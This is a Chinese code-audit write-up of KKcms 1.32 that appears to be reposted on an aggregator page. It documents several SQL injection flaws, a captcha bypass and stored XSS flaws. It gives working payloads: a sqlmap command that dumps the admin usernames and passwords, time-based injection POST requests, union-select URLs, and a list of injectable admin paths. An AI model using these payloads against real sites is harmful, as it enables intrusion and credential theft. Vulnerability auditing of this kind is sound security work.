当前位置: 首页 > news >正文

KKcms 1.32 代码审计过程

KKcms 1.32 代码审计过程

目录

  • KKcms 1.32 代码审计过程
    • 源码搭建
    • 入口文件分析
      • 1. bplay.php play 参数存在 Sql注入漏洞
      • 2. ucenter/reg.php name参数存在 Sql注入漏洞
      • 3. ucenter/active.php verify 参数存在Sql注入漏洞
      • 4. ucenter/repass.php name 参数存在 Sql注入漏洞
      • 5. wap/login.php name 参数存在 Sql 注入漏洞
      • 6. admin/cms_login.php 验证码绕过漏洞
      • 7. admin/cms_ad_edit.php id 参数存在Sql注入漏洞
      • 8. admin/cms_admin_edit.php
      • 9. /admin/cms_book_edit.php id 参数存在 Sql注入漏洞
      • 10. admin/cms_usergroup_edit.php ID 参数存在Sql注入漏洞
      • 11. admin/cms_ad_edit.php 存在存储型xss漏洞
      • 12.admin/cms_usergroup.php 存在存储型XSS漏洞

源码搭建

源码下载:https://github.com/erichuang2015/kkcms

  • php 5.6.9
  • MySQL5.7.26

将目录下的所有文件移动到网站根目录下,打开 http://localhost/install/ ,填写数据库信息,安装成功默认后面账号密码

image-20241024061614420

image-20241026194927610

入口文件分析

分析index.php,开始包含了 system/inc.php 文件

image-20241026195043894

找到文件声明,inc.php 共包含了4个文件,其中有数据库连接、内容过滤、函数、配置文件等。

image-20241026195221334

挨个文件分析,首先分析 conn.php

  1. 设置 error_reporting 错误级别
  2. ob_start() 打开缓冲流
  3. 启动session
  4. 设置常量 PCFINAL 内容为true
  5. 设置时区
  6. 设置编码为 utf-8
  7. 包含 data.php 文件
  8. 调用 mysql_connect 进行数据库连接
  9. 设置数据库编码为utf8

image-20241026195439342

分析 library.php 文件,首先判断 get_magic_quotes_gpc 是否开启,如果没有开启,则调用 addslashes_deep 函数进行对$_GET\

$_POST\$_COOKIE\$_REQUEST传输方法进行addslashes()转译

image-20241026200014441

继续回到 index.php,往下5-8行,判断./install/index.lock 是否存在,如果不存在则跳转 install

image-20241026202425095

在继续往下,就是获取https://www.360kan.com/主页html代码,然后通过$szz 匹配规则获取信息,存入$sarr数组中,剩下包含的文件基本都是去360kan上获取信息进行显示到页面上

image-20241026202533159

1. bplay.php play 参数存在 Sql注入漏洞

既然传输进行 addslashes函数转译了,而且数据库也不是GBK编码,有单双引号闭合的情况下就不会出现宽字节注入了。那么找注入的话只能找一些没有进行闭合的注入点。

分析 bplay.php 文件,一个很明显的一个 play 参数直接拼接到 Sql 中执行

image-20241027014509556

sqlmap -u "http://192.168.1.7:89/bplay.php?play=1*" -D kkcms -T xtcms_manager -C m_name,m_password --dump

image-20241027015438206

2. ucenter/reg.php name参数存在 Sql注入漏洞

除了一些没有闭合的注入以外,还能找一些调用stripslashes()函数进行删除反斜杠的漏洞点

  • stripslashes() 函数删除由addslashes() 函数添加的反斜杠。

image-20241027033639967

POST /ucenter/reg.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 34submit=1&name=admin' and sleep(3)#

image-20241027033737448

3. ucenter/active.php verify 参数存在Sql注入漏洞

image-20241027040349057

/ucenter/active.php?verify=-1'+or+1=2%23

image-20241027040417117

/ucenter/active.php?verify=-1'+or+1=1%23

image-20241027040429055

4. ucenter/repass.php name 参数存在 Sql注入漏洞

image-20241027041302085

POST /ucenter/repass.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 36submit=1&name=admin' and sleep(6)%23

image-20241027041320386

5. wap/login.php name 参数存在 Sql 注入漏洞

image-20241027041744870

POST /wap/login.php HTTP/1.1
Host: 192.168.1.7:89
Content-Type: application/x-www-form-urlencoded
Content-Length: 33reg=1&name=admin' and sleep(3)%23

image-20241027041759097

6. admin/cms_login.php 验证码绕过漏洞

只要删除session和提交的验证码参数,两者都为空,则就不会进入if判断

image-20241027043123219

7. admin/cms_ad_edit.php id 参数存在Sql注入漏洞

没有闭合直接带入 id 到sql中执行

image-20241027170938267

/admin/cms_ad_edit.php?id=1%20union%20select%201,user(),3,version(),5,6,7,8%20%23

image-20241027171116442

在后台还有多个这类的注入,接只演示几个路径即可

admin/cms_youlian_edit.php
admin/cms_usergroup_edit.php
admin/cms_usercard_edit.php
admin/cms_user_edit.php
admin/cms_slideshow_edit.php
admin/cms_player_edit.php
admin/cms_nav_edit.php
admin/cms_link_edit.php
admin/cms_detail_edit.php
admin/cms_channel_edit.php
admin/cms_book_edit.php
admin/cms_admin_edit.php
admin/cms_ad_edit.php

8. admin/cms_admin_edit.php

admin/cms_admin_edit.php?id=-1 union select 1,user(),3,4,5,6,7,8,9

image-20241027173514971

9. /admin/cms_book_edit.php id 参数存在 Sql注入漏洞

/admin/cms_book_edit.php?id=-1%20union%20select%201,user(),3,4,5

image-20241027173803975

10. admin/cms_usergroup_edit.php ID 参数存在Sql注入漏洞

image-20241027173100895

/admin/cms_usergroup_edit.php?id=-2%20union%20select%201,user(),3,4,5,6

image-20241027173121936

11. admin/cms_ad_edit.php 存在存储型xss漏洞

虽然插入时进行了addslashes函数过滤,但很多参数都是存入存入数据库时没有进行 htmlspecialchars 实体化,输出是没有进行实体化。

广告位置功能可以看到 name 直接 select 查询表中数据出来显示在页面上

image-20241027171704103

image-20241027171834852

image-20241027171903310

image-20241027171930115

12.admin/cms_usergroup.php 存在存储型XSS漏洞

image-20241027174420736

提交

image-20241027175536874

image-20241027175518201


http://www.mrgr.cn/news/61586.html

相关文章:

  • PyTorch的基础教程
  • 【Vispy库】一个用于高性能交互式2D/3D数据可视化库 Python库
  • Java避坑案例 - 异步处理的关键问题与解决方案
  • v4.7+版本用户充值在交易统计中计算双倍的问题修复
  • 【算法】Kruskal最小生成树算法
  • Presto
  • Python | Leetcode Python题解之第520题检测大写字母
  • Brilliant Labs CEO Bobak Tavangar揭秘:AI驱动的开源AR眼镜Frame
  • 动态类的控制
  • 交换机端口三种链路类型
  • 《贪婪算法实战:寻找最短无序连续子数组的深度解析与实现》
  • Java | Leetcode Java题解之第519题随机翻转矩阵
  • 采用STM32CubeMX和HAL库的定时器应用实例
  • 【编程语言】在C++中使用map与unordered_map
  • c语言中结构体传参和实现位段
  • unseping攻防世界
  • 百度二面算法:合法的括号字符串(贪心解法)
  • 【机器学习】环境搭建及Sklearn鸢尾花数据集
  • Python | Leetcode Python题解之第519题随机翻转矩阵
  • Python中的切片是什么,它有什么用处?
  • 25_DNS:域名系统详解
  • C++ | Leetcode C++题解之第519题随机翻转矩阵
  • windows 驱动实例分析系列: NDIS 6.0的Filter 驱动改造(四)
  • Java | Leetcode Java题解之第520题检测大写字母
  • Linux(一)
  • 从0开始搭建一个生产级SpringBoot2.0.X项目(五)使用 validation 验证参数